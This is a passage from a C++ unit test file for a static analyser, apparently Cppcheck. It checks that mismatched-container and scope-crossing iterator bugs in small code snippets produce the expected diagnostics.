ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" 